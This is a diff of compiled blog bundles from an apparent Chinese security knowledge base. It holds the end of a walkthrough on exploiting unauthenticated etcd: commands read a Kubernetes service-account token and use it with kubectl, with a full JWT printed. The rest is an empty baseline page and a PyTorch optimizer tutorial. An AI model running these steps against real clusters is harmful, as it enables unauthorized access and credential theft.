",(0,s.jsx)(t.code,{children:"etcdctl"})," \u5229\u7528\u4e3a\u4e3b"]}),"\n",(0,s.jsx)(t.p,{children:"\u4ee5\u4e0b\u7ed3\u679c\u5373\u5b58\u5728\u672a\u6388\u6743"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-curl",children:'curl http://192.168.3.105:2379/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}\n# \u6216\u8005\ncurl http://192.168.3.105:2380/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}\n'})}),"\n",(0,s.jsxs)(t.p,{children:["\u90a3\u4e48\u53ef\u4ee5\u901a\u8fc7",(0,s.jsx)(t.code,{children:"etcdctl"})," \u547d\u4ee4\u884c\u5de5\u5177\u8fd0\u884c\u67e5\u8be2",(0,s.jsx)(t.code,{children:"token"}),"\u952e"]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:"curl -LO https://github.com/etcd-io/etcd/releases/download/v3.5.9/etcd-v3.5.9-linux-amd64.tar.gz \ntar xvf etcd-v3.5.9-linux-amd64.tar.gz && ln -s ./etcd-v3.5.9-linux-amd64/etcdctl /usr/bin/etcdctl\netcdctl -h\n"})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080058495.png",alt:"image-20230708005803211"})}),"\n",(0,s.jsx)(t.p,{children:"\u83b7\u53d6\u6240\u6709\u5e26token\u952e"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:'etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | grep token # linux\netcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | findstr token # windows\n'})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080105575.png",alt:"image-20230708010507545"})}),"\n",(0,s.jsxs)(t.p,{children:["\u83b7\u53d6",(0,s.jsx)(t.code,{children:"token"}),"\u503c"]}),"\n",(0,s.jsxs)(t.p,{children:["\u200b\t",(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080106689.png",alt:"image-20230708010605095"})]}),"\n",(0,s.jsxs)(t.p,{children:["\u6700\u540e\u901a\u8fc7",(0,s.jsx)(t.code,{children:"kubectl"})," \u5229\u7528\u5373\u53ef"]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:'kubectl get po -A -s "https://192.168.3.105:6443" --token eyJhbGciOiJSUzI1NiIsImtpZCI6IlVxV2xjZ09VU1dJUEJGSzRPWmp3RFk2Q0lMdHpJWEFpSmpsTHNaRmtvNmMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlci10b2tlbi1jc3p6cCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjVlY2Y2N2JkLTJiZGMtNGNkYS1hMTljLTFjNTQ0Mzc1ZWI3YiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTpuYW1lc3BhY2UtY29udHJvbGxlciJ9.NyGdUVNba_XPyRnxRgjFKHpzPhzMOTFtkv1zG1EvN-982pN9P4WYLk-XrmFfEz--kt1LyFXujjQTr9gCL7g-OdW10IXo8_WRFmaM_V7FcOhPWxNNeY9WNMpcGdZ1VmIjOLln1lC8VVXJyt8YFFcTnc9sfZpj_Bc_d1L_RqUdu9IDtEZhN3ZQqdMbix__IdmJTnS9M2d_h6sl2ZlxpqeULJ86PkfvTMkRfuBTIuGNG2adFhe72eQjAK6xCk9liIJnaRDxRVADMKGw2RDykoCo8SvDx8fdi2Vv_EAofihw5zZz4YHro6mkCLclB725kCDonVHOUZncZcK4HtQHhhP5YQ --insecure-skip-tls-verify\n'})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080139621.png",alt:"image-20230708013804383"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/041a9de8.302e1104.js b/assets/js/041a9de8.302e1104.js new file mode 100644 index 0000000..5daf0c5 --- /dev/null +++ b/assets/js/041a9de8.302e1104.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5345],{18961:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/README","title":"\u57fa\u7ebf\u68c0\u67e5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/07.\u57fa\u7ebf\u68c0\u67e5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/07.\u57fa\u7ebf\u68c0\u67e5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/07.\u57fa\u7ebf\u68c0\u67e5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u53bb\u7279\u5f81","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/"},"next":{"title":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"}}');var r=n(74848),i=n(28453);const o={},l="\u57fa\u7ebf\u68c0\u67e5",c={},d=[];function a(t){const e={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...t.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"\u57fa\u7ebf\u68c0\u67e5",children:"\u57fa\u7ebf\u68c0\u67e5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:36:03"})]})})]})]})}function h(t={}){const{wrapper:e}={...(0,i.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(a,{...t})}):a(t)}},28453:(t,e,n)=>{n.d(e,{R:()=>o,x:()=>l});var s=n(96540);const r={},i=s.createContext(r);function o(t){const e=s.useContext(i);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:o(t.components),s.createElement(i.Provider,{value:e},t.children)}}}]); \ No newline at end of file diff --git a/assets/js/06241ac5.2e46749d.js b/assets/js/06241ac5.2e46749d.js new file mode 100644 index 0000000..6566596 --- /dev/null +++ b/assets/js/06241ac5.2e46749d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9369],{10618:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png"},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>o});var t=r(96540);const s={},a=t.createContext(s);function i(e){const n=t.useContext(a);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),t.createElement(a.Provider,{value:n},e.children)}},35281:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png"},77049:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>d,contentTitle:()=>o,default:()=>c,frontMatter:()=>i,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","title":"3.9 \u4f18\u5316\u5668.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.8 \u53ef\u89c6\u5316.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316"},"next":{"title":"\u7b2c\u56db\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/"}}');var s=r(74848),a=r(28453);const i={},o="3.9 \u4f18\u5316\u5668.md",d={},l=[{value:"3.9.1 PyTorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668",id:"391-pytorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668",level:2},{value:"3.9.2 \u5b9e\u9645\u64cd\u4f5c",id:"392-\u5b9e\u9645\u64cd\u4f5c",level:2},{value:"3.9.3 \u8f93\u51fa\u7ed3\u679c",id:"393-\u8f93\u51fa\u7ed3\u679c",level:2},{value:"3.9.4 \u5b9e\u9a8c",id:"394-\u5b9e\u9a8c",level:2}];function p(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"39-\u4f18\u5316\u5668md",children:"3.9 \u4f18\u5316\u5668.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"39-pytorch\u4f18\u5316\u5668",children:"3.9 PyTorch\u4f18\u5316\u5668"}),"\n",(0,s.jsx)(n.p,{children:"\u6df1\u5ea6\u5b66\u4e60\u7684\u76ee\u6807\u662f\u901a\u8fc7\u4e0d\u65ad\u6539\u53d8\u7f51\u7edc\u53c2\u6570\uff0c\u4f7f\u5f97\u53c2\u6570\u80fd\u591f\u5bf9\u8f93\u5165\u505a\u5404\u79cd\u975e\u7ebf\u6027\u53d8\u6362\u62df\u5408\u8f93\u51fa\uff0c\u672c\u8d28\u4e0a\u5c31\u662f\u4e00\u4e2a\u51fd\u6570\u53bb\u5bfb\u627e\u6700\u4f18\u89e3\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u6700\u4f18\u89e3\u662f\u4e00\u4e2a\u77e9\u9635\uff0c\u800c\u5982\u4f55\u5feb\u901f\u6c42\u5f97\u8fd9\u4e2a\u6700\u4f18\u89e3\u662f\u6df1\u5ea6\u5b66\u4e60\u7814\u7a76\u7684\u4e00\u4e2a\u91cd\u70b9\uff0c\u4ee5\u7ecf\u5178\u7684resnet-50\u4e3a\u4f8b\uff0c\u5b83\u5927\u7ea6\u67092000\u4e07\u4e2a\u7cfb\u6570\u9700\u8981\u8fdb\u884c\u8ba1\u7b97\uff0c\u90a3\u4e48\u6211\u4eec\u5982\u4f55\u8ba1\u7b97\u51fa\u8fd9\u4e48\u591a\u7cfb\u6570\uff0c\u6709\u4ee5\u4e0b\u4e24\u79cd\u65b9\u6cd5\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u7b2c\u4e00\u79cd\u662f\u76f4\u63a5\u66b4\u529b\u7a77\u4e3e\u4e00\u904d\u53c2\u6570\uff0c\u8fd9\u79cd\u65b9\u6cd5\u4ece\u7406\u8bba\u4e0a\u884c\u5f97\u901a\uff0c\u4f46\u662f\u5b9e\u65bd\u4e0a\u53ef\u80fd\u6027\u57fa\u672c\u4e3a0\uff0c\u56e0\u4e3a\u53c2\u6570\u91cf\u8fc7\u4e8e\u5e9e\u5927\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u4e3a\u4e86\u4f7f\u6c42\u89e3\u53c2\u6570\u8fc7\u7a0b\u66f4\u5feb\uff0c\u4eba\u4eec\u63d0\u51fa\u4e86\u7b2c\u4e8c\u79cd\u529e\u6cd5\uff0c\u5373BP+\u4f18\u5316\u5668\u903c\u8fd1\u6c42\u89e3\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u56e0\u6b64\uff0c\u4f18\u5316\u5668\u662f\u6839\u636e\u7f51\u7edc\u53cd\u5411\u4f20\u64ad\u7684\u68af\u5ea6\u4fe1\u606f\u6765\u66f4\u65b0\u7f51\u7edc\u7684\u53c2\u6570\uff0c\u4ee5\u8d77\u5230\u964d\u4f4eloss\u51fd\u6570\u8ba1\u7b97\u503c\uff0c\u4f7f\u5f97\u6a21\u578b\u8f93\u51fa\u66f4\u52a0\u63a5\u8fd1\u771f\u5b9e\u6807\u7b7e\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u7684\u4f18\u5316\u5668"}),"\n",(0,s.jsx)(n.li,{children:"\u5b66\u4f1a\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668\u8fdb\u884c\u4f18\u5316"}),"\n",(0,s.jsx)(n.li,{children:"\u4f18\u5316\u5668\u7684\u5c5e\u6027\u548c\u6784\u9020"}),"\n",(0,s.jsx)(n.li,{children:"\u4f18\u5316\u5668\u7684\u5bf9\u6bd4"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"391-pytorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668",children:"3.9.1 PyTorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668"}),"\n",(0,s.jsxs)(n.p,{children:["PyTorch\u5f88\u4eba\u6027\u5316\u7684\u7ed9\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e2a\u4f18\u5316\u5668\u7684\u5e93",(0,s.jsx)(n.code,{children:"torch.optim"}),"\uff0c\u5728\u8fd9\u91cc\u9762\u63d0\u4f9b\u4e86\u591a\u79cd\u4f18\u5316\u5668\u3002"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"torch.optim.SGD"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.ASGD"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adadelta"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adagrad"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.AdamW"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adamax"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.RAdam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.NAdam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.SparseAdam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.LBFGS"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.RMSprop"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Rprop"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u800c\u4ee5\u4e0a\u8fd9\u4e9b\u4f18\u5316\u7b97\u6cd5\u5747\u7ee7\u627f\u4e8e",(0,s.jsx)(n.code,{children:"Optimizer"}),"\uff0c\u4e0b\u9762\u6211\u4eec\u5148\u6765\u770b\u4e0b\u6240\u6709\u4f18\u5316\u5668\u7684\u57fa\u7c7b",(0,s.jsx)(n.code,{children:"Optimizer"}),"\u3002\u5b9a\u4e49\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Python",children:"class Optimizer(object):\n def __init__(self, params, defaults): \n self.defaults = defaults\n self.state = defaultdict(dict)\n self.param_groups = []\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.strong,{children:[(0,s.jsx)(n.code,{children:"Optimizer"}),"\u6709\u4e09\u4e2a\u5c5e\u6027\uff1a"]})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"defaults"}),"\uff1a\u5b58\u50a8\u7684\u662f\u4f18\u5316\u5668\u7684\u8d85\u53c2\u6570\uff0c\u4f8b\u5b50\u5982\u4e0b\uff1a"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"state"}),"\uff1a\u53c2\u6570\u7684\u7f13\u5b58\uff0c\u4f8b\u5b50\u5982\u4e0b\uff1a"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"defaultdict(, {tensor([[ 0.3864, -0.0131],\n [-0.1911, -0.4511]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}})\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"param_groups"}),"\uff1a\u7ba1\u7406\u7684\u53c2\u6570\u7ec4\uff0c\u662f\u4e00\u4e2alist\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5143\u7d20\u662f\u4e00\u4e2a\u5b57\u5178\uff0c\u987a\u5e8f\u662fparams\uff0clr\uff0cmomentum\uff0cdampening\uff0cweight_decay\uff0cnesterov\uff0c\u4f8b\u5b50\u5982\u4e0b\uff1a"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"[{'params': [tensor([[-0.1022, -1.6890],[-1.5116, -1.7846]], requires_grad=True)], 'lr': 1, 'momentum': 0, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.strong,{children:[(0,s.jsx)(n.code,{children:"Optimizer"}),"\u8fd8\u6709\u4ee5\u4e0b\u7684\u65b9\u6cd5\uff1a"]})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"zero_grad()"}),"\uff1a\u6e05\u7a7a\u6240\u7ba1\u7406\u53c2\u6570\u7684\u68af\u5ea6\uff0cPyTorch\u7684\u7279\u6027\u662f\u5f20\u91cf\u7684\u68af\u5ea6\u4e0d\u81ea\u52a8\u6e05\u96f6\uff0c\u56e0\u6b64\u6bcf\u6b21\u53cd\u5411\u4f20\u64ad\u540e\u90fd\u9700\u8981\u6e05\u7a7a\u68af\u5ea6\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def zero_grad(self, set_to_none: bool = False):\n for group in self.param_groups:\n for p in group['params']:\n if p.grad is not None: #\u68af\u5ea6\u4e0d\u4e3a\u7a7a\n if set_to_none: \n p.grad = None\n else:\n if p.grad.grad_fn is not None:\n p.grad.detach_()\n else:\n p.grad.requires_grad_(False)\n p.grad.zero_()# \u68af\u5ea6\u8bbe\u7f6e\u4e3a0\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"step()"}),"\uff1a\u6267\u884c\u4e00\u6b65\u68af\u5ea6\u66f4\u65b0\uff0c\u53c2\u6570\u66f4\u65b0"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def step(self, closure): \n raise NotImplementedError\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"add_param_group()"}),"\uff1a\u6dfb\u52a0\u53c2\u6570\u7ec4"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def add_param_group(self, param_group):\n assert isinstance(param_group, dict), \"param group must be a dict\"\n# \u68c0\u67e5\u7c7b\u578b\u662f\u5426\u4e3atensor\n params = param_group['params']\n if isinstance(params, torch.Tensor):\n param_group['params'] = [params]\n elif isinstance(params, set):\n raise TypeError('optimizer parameters need to be organized in ordered collections, but '\n 'the ordering of tensors in sets will change between runs. Please use a list instead.')\n else:\n param_group['params'] = list(params)\n for param in param_group['params']:\n if not isinstance(param, torch.Tensor):\n raise TypeError(\"optimizer can only optimize Tensors, \"\n \"but one of the params is \" + torch.typename(param))\n if not param.is_leaf:\n raise ValueError(\"can't optimize a non-leaf Tensor\")\n\n for name, default in self.defaults.items():\n if default is required and name not in param_group:\n raise ValueError(\"parameter group didn't specify a value of required optimization parameter \" +\n name)\n else:\n param_group.setdefault(name, default)\n\n params = param_group['params']\n if len(params) != len(set(params)):\n warnings.warn(\"optimizer contains a parameter group with duplicate parameters; \"\n \"in future, this will cause an error; \"\n \"see github.com/PyTorch/PyTorch/issues/40967 for more information\", stacklevel=3)\n# \u4e0a\u9762\u597d\u50cf\u90fd\u5728\u8fdb\u884c\u4e00\u4e9b\u7c7b\u7684\u68c0\u6d4b\uff0c\u62a5Warning\u548cError\n param_set = set()\n for group in self.param_groups:\n param_set.update(set(group['params']))\n\n if not param_set.isdisjoint(set(param_group['params'])):\n raise ValueError(\"some parameters appear in more than one parameter group\")\n# \u6dfb\u52a0\u53c2\u6570\n self.param_groups.append(param_group)\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"load_state_dict()"})," \uff1a\u52a0\u8f7d\u72b6\u6001\u53c2\u6570\u5b57\u5178\uff0c\u53ef\u4ee5\u7528\u6765\u8fdb\u884c\u6a21\u578b\u7684\u65ad\u70b9\u7eed\u8bad\u7ec3\uff0c\u7ee7\u7eed\u4e0a\u6b21\u7684\u53c2\u6570\u8fdb\u884c\u8bad\u7ec3"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def load_state_dict(self, state_dict):\n r\"\"\"Loads the optimizer state.\n\n Arguments:\n state_dict (dict): optimizer state. Should be an object returned\n from a call to :meth:`state_dict`.\n \"\"\"\n # deepcopy, to be consistent with module API\n state_dict = deepcopy(state_dict)\n # Validate the state_dict\n groups = self.param_groups\n saved_groups = state_dict['param_groups']\n\n if len(groups) != len(saved_groups):\n raise ValueError(\"loaded state dict has a different number of \"\n \"parameter groups\")\n param_lens = (len(g['params']) for g in groups)\n saved_lens = (len(g['params']) for g in saved_groups)\n if any(p_len != s_len for p_len, s_len in zip(param_lens, saved_lens)):\n raise ValueError(\"loaded state dict contains a parameter group \"\n \"that doesn't match the size of optimizer's group\")\n\n # Update the state\n id_map = {old_id: p for old_id, p in\n zip(chain.from_iterable((g['params'] for g in saved_groups)),\n chain.from_iterable((g['params'] for g in groups)))}\n\n def cast(param, value):\n r\"\"\"Make a deep copy of value, casting all tensors to device of param.\"\"\"\n \t\t.....\n\n # Copy state assigned to params (and cast tensors to appropriate types).\n # State that is not assigned to params is copied as is (needed for\n # backward compatibility).\n state = defaultdict(dict)\n for k, v in state_dict['state'].items():\n if k in id_map:\n param = id_map[k]\n state[param] = cast(param, v)\n else:\n state[k] = v\n\n # Update parameter groups, setting their 'params' value\n def update_group(group, new_group):\n ...\n param_groups = [\n update_group(g, ng) for g, ng in zip(groups, saved_groups)]\n self.__setstate__({'state': state, 'param_groups': param_groups})\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"state_dict()"}),"\uff1a\u83b7\u53d6\u4f18\u5316\u5668\u5f53\u524d\u72b6\u6001\u4fe1\u606f\u5b57\u5178"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'def state_dict(self):\n r"""Returns the state of the optimizer as a :class:`dict`.\n\n It contains two entries:\n\n * state - a dict holding current optimization state. Its content\n differs between optimizer classes.\n * param_groups - a dict containing all parameter groups\n """\n # Save order indices instead of Tensors\n param_mappings = {}\n start_index = 0\n\n def pack_group(group):\n\t\t......\n param_groups = [pack_group(g) for g in self.param_groups]\n # Remap state to use order indices as keys\n packed_state = {(param_mappings[id(k)] if isinstance(k, torch.Tensor) else k): v\n for k, v in self.state.items()}\n return {\n \'state\': packed_state,\n \'param_groups\': param_groups,\n }\n'})}),"\n",(0,s.jsx)(n.h2,{id:"392-\u5b9e\u9645\u64cd\u4f5c",children:"3.9.2 \u5b9e\u9645\u64cd\u4f5c"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'import os\nimport torch\n\n# \u8bbe\u7f6e\u6743\u91cd\uff0c\u670d\u4ece\u6b63\u6001\u5206\u5e03 --\x3e 2 x 2\nweight = torch.randn((2, 